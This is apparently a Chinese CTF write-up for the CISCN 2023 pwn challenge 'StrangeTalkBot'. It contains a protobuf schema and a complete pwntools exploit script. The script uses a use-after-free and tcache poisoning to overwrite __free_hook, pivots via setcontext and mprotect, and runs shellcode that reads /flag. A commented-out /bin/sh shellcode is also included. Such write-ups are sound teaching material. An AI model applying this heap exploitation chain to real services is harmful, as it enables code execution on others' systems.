ciscn 2023 初赛 pwn StrangeTalkBot
uaf,然后可以edit,但是需要写一个proto,然后生成一下序列化python文件
➜ StrangeTalkBot cat ctf.proto
syntax = "proto2";
package ctf;
message Devicemsg{
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}
这里坑点是sint64和int64,导致如果用int64需要把index*2,用int64死活不能成功
protoc --python_out=./ ./ctf.proto
生成之后导入到exp中,正常的2.31 orw利用
from pwn import *
import ctf_pb2
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote()
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def dbgg():
raw_input()
menu = 'You can try to have friendly communication with me now: \n'
def add(msgidx, msgsize, msgcontent = b''):
d = ctf_pb2.Devicemsg()
d.actionid = 1
d.msgidx = msgidx
d.msgsize = msgsize
d.msgcontent = msgcontent
strs = d.SerializeToString()
r.sendafter(menu, strs)
def delete(msgidx):
d = ctf_pb2.Devicemsg()
d.actionid = 4
d.msgidx = msgidx
d.msgsize = 0
d.msgcontent = b''
strs = d.SerializeToString()
r.sendafter(menu, strs)
def show(msgidx):
d = ctf_pb2.Devicemsg()
d.actionid = 3
d.msgidx = msgidx
d.msgsize = 0
d.msgcontent = b''
strs = d.SerializeToString()
r.sendafter(menu, strs)
def edit(msgidx, msgcontent):
d = ctf_pb2.Devicemsg()
d.actionid = 2
d.msgidx = msgidx
d.msgsize = 0
d.msgcontent = msgcontent
strs = d.SerializeToString()
r.sendafter(menu, strs)
dbgg()
for i in range(8):
add(i, 0x80, b'a' * 8)
for i in range(8):
delete(i)
show(7)
malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
add(8, 0x20, b'a' * 8)
add(9, 0x20, b'a' * 8)
delete(8)
delete(9)
edit(9, p64(free_hook))
magic_gadget = 0x0000000000151990 + libc_base
setcontext = libc_base + libc.sym['setcontext'] + 61
li('setcontext 61 = ' + hex(setcontext))
add(10, 0x20, b'a' * 8)
add(11, 0x20, p64(magic_gadget))
show(0)
r.recvuntil('\x00' * 8)
heap_base = u64(r.recv(6).ljust(8, b'\x00')) - 0x10
li('heap_base = ' + hex(heap_base))
mprotect_addr = libc.sym['mprotect'] + libc_base
heap_first = heap_base + 0x1160
#shellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
shellcode = shellcraft.open('/flag', 0)
shellcode += shellcraft.read(3, heap_first, 0x100)
shellcode += shellcraft.write(1, heap_first, 0x100)
shellcode = asm(shellcode)
li(hex(len(shellcode)))
p1 = p64(heap_base + 0x1330) + p64(heap_first - 0x10)
p1 = p1.ljust(0x10, b'\x00') + p64(setcontext)
p1 = p1.ljust(0x58, b'\x00') + p64(heap_base)
p1 = p1.ljust(0x60, b'\x00') + p64(0x21000)
p1 = p1.ljust(0x78, b'\x00') + p64(7)
p1 = p1.ljust(0x90, b'\x00') + p64(heap_first)
p1 = p1.ljust(0x98, b'\x00') + p64(mprotect_addr)
add(12, 0xF0, p1)
add(13, 0xF0, shellcode)
delete(12)
r.interactive()